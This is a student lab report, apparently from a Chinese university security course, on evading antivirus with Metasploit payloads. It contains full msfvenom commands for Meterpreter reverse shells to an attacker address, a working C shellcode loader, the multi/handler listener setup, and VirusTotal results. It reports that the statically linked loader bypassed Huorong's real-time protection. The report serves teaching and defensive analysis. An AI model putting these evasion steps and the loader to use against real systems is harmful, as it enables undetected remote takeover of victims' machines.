20242316 2025-2026-1 《网络与系统攻防技术》实验三实验报告
20242316 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.基础知识
杀毒软件检测恶意代码通常依靠三类机制:一是静态特征码扫描,提取文件哈希或特定字节序列与病毒库比对;二是静态启发式分析,检查 PE 结构、节区属性、代码熵值以及是否导入 VirtualAlloc 等敏感 API;三是动态行为监控,在真实系统或沙箱中运行程序,观察其是否申请可执行内存、注入进程、修改注册表或发起异常网络连接。
免杀(Anti-Virus Evasion)是在杀毒软件开启的情况下,通过修改恶意代码的静态特征、文件格式或执行方式,使载荷不被发现和拦截,同时保留其核心功能。本实验涉及的主要方法包括:
- 使用
shikata_ga_nai等编码器进行多次编码,改变原始字节特征。 - 将 EXE 转换为 JAR 等其他文件格式,降低静态扫描匹配概率。
- 使用 UPX、Hyperion 等工具进行压缩或加密加壳。
- 使用
msfvenom -f c提取 Shellcode,再由自行编写的 C Loader 在内存中加载执行。 - 使用
-static等参数进行静态链接,减少外部 DLL 依赖。
本次实验以 Meterpreter 载荷为基础,分别测试裸样本、编码样本、JAR 格式样本、C Loader 和 UPX 加壳样本的免杀效果,并在开启火绒安全软件的 Windows 靶机上验证回连。
核心问题回答
(1)杀软是如何检测出恶意代码的?
杀软主要依靠三种机制:一是静态特征码扫描,提取文件哈希或特定字节序列与病毒库比对;二是静态启发式分析,检查程序的 PE 结构、导入表(如是否调用了 VirtualAlloc)或代码熵值是否异常;三是动态行为监控,在虚拟机或沙箱中运行程序,监控其是否修改注册表、注入进程或发起恶意网络连接。
(2)免杀是做什么?
免杀是指通过修改恶意代码的静态特征、文件格式或执行流程,使得恶意程序在杀毒软件开启的情况下不被发现、不被拦截删除,同时其核心功能(如建立反向 shell 连接)依然能够正常执行,达到“与杀软共生”的目的。
(3)免杀的基本方法有哪些?
修改特征:使用编码器(如 shikata_ga_nai)多次编码、重写代码源码。
格式变换:生成 jar、apk、php 等非 exe 格式,降低扫描优先级。
加壳与加密:使用 UPX 等压缩壳或自定义加密壳掩盖特征(现已容易失效)。
分离免杀:将 Loader 与 Shellcode 分离,运行时从网络下载。
内存加载与白利用:利用 C/C++ 编写 Loader 将 shellcode 直接注入内存,或注入到合法的白进程中执行。
2.实验内容
- 使用
msfvenom生成 Windows Meterpreter 裸样本,并生成 JAR 格式样本。 - 使用
x86/shikata_ga_nai编码器迭代 10 次,生成编码样本。 - 尝试使用 UPX 和 Hyperion 对样本加壳,记录加壳结果和失败原因。
- 使用 C 语言编写 Shellcode Loader,通过
VirtualAlloc、memcpy和函数指针执行嵌入的 Shellcode。 - 将不同样本上传 VirusTotal,比较各样本的静态检出率。
- 将可执行样本传入 Windows 10 靶机,在火绒实时防护开启的情况下测试运行和 Meterpreter 回连。
3.实验过程
(1)确认 Kali 地址
在 Kali 虚拟机中查看网络接口,确认攻击端地址为 192.168.10.128,用于设置载荷的 LHOST 和监听地址。

[查看 Kali 虚拟机 IP 地址]
(2)生成裸样本、编码样本和 JAR 样本
首先使用 msfvenom 生成回连 192.168.10.128:4444 的 Windows Meterpreter 裸样本。
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.10.128 LPORT=4444 \
-f exe -o 20242316_msf_raw.exe

[生成裸样本]
随后使用 x86/shikata_ga_nai 编码器迭代 10 次,并生成回连端口为 4445 的 JAR 样本。
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.10.128 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 \
-f exe -o 20242316_msf_enc10.exe
msfvenom -p java/meterpreter/reverse_tcp \
LHOST=192.168.10.128 LPORT=4445 \
-f jar -o 20242316_msf.jar

[生成编码样本和 JAR 样本]
(3)加壳测试
首先尝试使用 UPX 对 MSF 生成的 EXE 样本加壳,但出现 CantPackException: section size problem 错误。分析后改为对自行编译的 C Loader 执行 UPX 加壳,最终压缩率约为 55.33%。
upx -9 20242316_c_loader.exe -o 20242316_upx_loader.exe
Hyperion 在 Wine 环境下运行时出现异常,未能生成有效样本,因此该项仅作为失败尝试记录。

[UPX 和 Hyperion 加壳测试]

[UPX 对 C Loader 加壳成功]
(4)使用 C 语言编写 Shellcode Loader
使用 msfvenom -f c 生成 C 数组形式的 Shellcode,回连端口设置为 4446。
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.10.128 LPORT=4446 \
-f c -o 20242316_shellcode.c

[生成 C 格式 Shellcode]
使用 nano 在 Shellcode 数组后加入 Loader。Loader 先调用 VirtualAlloc 申请可执行读写内存,再使用 memcpy 将 Shellcode 复制到该内存区域,最后将内存地址转换为函数指针并调用。
#include <windows.h>
#include <string.h>
int main(void)
{
void *exec = VirtualAlloc(
0,
sizeof(buf),
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (exec == NULL) {
return 1;
}
memcpy(exec, buf, sizeof(buf));
((void (*)(void))exec)();
return 0;
}

[使用 nano 编辑 Loader 文件]

[在 Shellcode 文件中加入 Loader 主函数]
使用 MinGW-w64 的 32 位交叉编译器生成 Windows 可执行文件:
i686-w64-mingw32-g++ 20242316_shellcode.c \
-o 20242316_c_loader.exe
i686-w64-mingw32-g++ 20242316_shellcode.c \
-o 20242316_c_loader_static.exe \
-static -static-libgcc -static-libstdc++

[交叉编译 Loader]

[查看生成的样本文件]
(5)文件传输与 VirusTotal 检测
在 Kali 中启动 HTTP 服务,将样本传输到 Windows 靶机:
python3 -m http.server 8000

[启动 HTTP 文件服务]

[Windows 靶机下载样本成功]
将 5 个样本上传 VirusTotal,结果如下:
| 文件名 | 检出结果 | 核心技术 | 主要特征 |
|---|---|---|---|
msf_raw.exe |
50/70 | 裸 Meterpreter 样本 | 典型 Meterpreter 特征 |
msf_enc10.exe |
49/70 | shikata_ga_nai 编码 10 次 |
与裸样本基本持平 |
msf.jar |
36/63 | JAR 格式变换 | 仍被识别出 Java Meterpreter/CVE-2012-4681 相关特征 |
c_loader.exe |
35/70 | 自定义 C Loader | PE 结构特征发生改变 |
upx_loader.exe |
31/70 | UPX 加壳 | 检出率最低,但 UPX 壳特征明显 |

[msf_raw.exe 的 VirusTotal 检测结果]

[msf_enc10.exe 的 VirusTotal 检测结果]

[msf.jar 的 VirusTotal 检测结果]

[c_loader.exe 的 VirusTotal 检测结果]

[upx_loader.exe 的 VirusTotal 检测结果]
从结果看,仅依靠编码几乎不能降低检出率;格式变换和自定义 C Loader 能降低部分静态特征;UPX 虽然检出率最低,但 UPX 壳本身很容易被识别,因此不能简单认为检出率最低就是最好的免杀方案。
(6)Windows 靶机实测回连
在 Kali 中启动 msfconsole,使用 multi/handler 监听 4446 端口:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.128
set LPORT 4446
run

[Kali 端开启 Meterpreter 监听]
首次在 Windows 靶机运行动态链接版 Loader 时,系统提示缺少 libgcc_s_dw2-1.dll,并出现 0xc000007b 错误。

[动态链接版本缺少运行库]
使用静态链接参数重新编译:
i686-w64-mingw32-g++ 20242316_shellcode.c \
-o 20242316_c_loader_static.exe \
-static -static-libgcc -static-libstdc++

[重新静态编译 Loader]

[确认生成的静态链接文件]
在 Windows 10 靶机上确认火绒安全软件版本为 6.0.0.0,实时防护处于开启状态。

[火绒安全软件版本信息]
将 20242316_c_loader_static.exe 传入靶机并双击运行,火绒未出现拦截或告警弹窗,Kali 端成功获得 Meterpreter 会话:
Meterpreter session 1 opened
(192.168.10.128:4446 -> 192.168.10.1:3998)

[靶机运行后 Kali 成功回连]
本实验中的静态链接 C Loader 能够成功回连,主要原因是 Shellcode 被嵌入自行编写的程序中,改变了 MSF 原始 PE 的固定结构;静态链接消除了外部 MinGW 运行库依赖;程序运行时通过 VirtualAlloc 申请可执行内存并直接执行 Shellcode。需要说明的是,该样本仍然是落地执行的 EXE,并非严格意义上的无文件攻击。
4.问题及解决方案
-
问题1:Kali 中找不到交叉编译命令,安装系统推荐的
gcc-mingw-w64-bootstrap后导致 Metasploit Framework 被连带卸载。
解决方案:重新安装 Metasploit Framework,并改用sudo apt install mingw-w64安装完整的交叉编译环境。 -
问题2:UPX 对 MSF 原始 EXE 加壳时报错
CantPackException: section size problem,Hyperion 在 Wine 环境下也无法正常生成样本。
解决方案:分析 PE 节区结构后,改为对结构标准的 C Loader 执行 UPX,成功获得约55.33%的压缩率;Hyperion 因环境兼容问题停止使用,并在报告中如实记录。 -
问题3:Windows 靶机运行动态链接版 Loader 时提示缺少
libgcc_s_dw2-1.dll,并出现0xc000007b错误。
解决方案:在编译命令中加入-static -static-libgcc -static-libstdc++,重新生成不依赖外部 MinGW DLL 的静态版本,最终成功运行并完成回连。
5.学习感悟、思考等
本次实验让我认识到,免杀并不是简单地“加壳”或“编码”。shikata_ga_nai 多次编码后的 VirusTotal 检出率与裸样本几乎相同,说明现代杀软能够处理常见的编码器特征;UPX 虽然降低了部分静态特征,但壳本身又成为新的可疑点。真正有效的免杀效果来自载荷结构、编译方式、内存加载和执行行为的组合变化。
实验过程中遇到了交叉编译环境损坏、UPX 无法打包、动态库缺失和 0xc000007b 等问题。通过排查这些问题,我对 PE 文件结构、Windows 动态链接和 MinGW 交叉编译有了更具体的理解,也认识到环境配置和依赖排查是网络安全实验中不可缺少的能力。
从防御角度看,仅依赖文件哈希和静态特征已经不够。针对本实验中的内存加载方式,安全软件还需要关注异常的 RWX 内存申请、可疑 Shellcode 执行、进程行为链和反向网络连接。本实验也提醒我,免杀技术必须在授权、隔离的教学环境中使用,不能用于未授权的真实系统。

浙公网安备 33010602011771号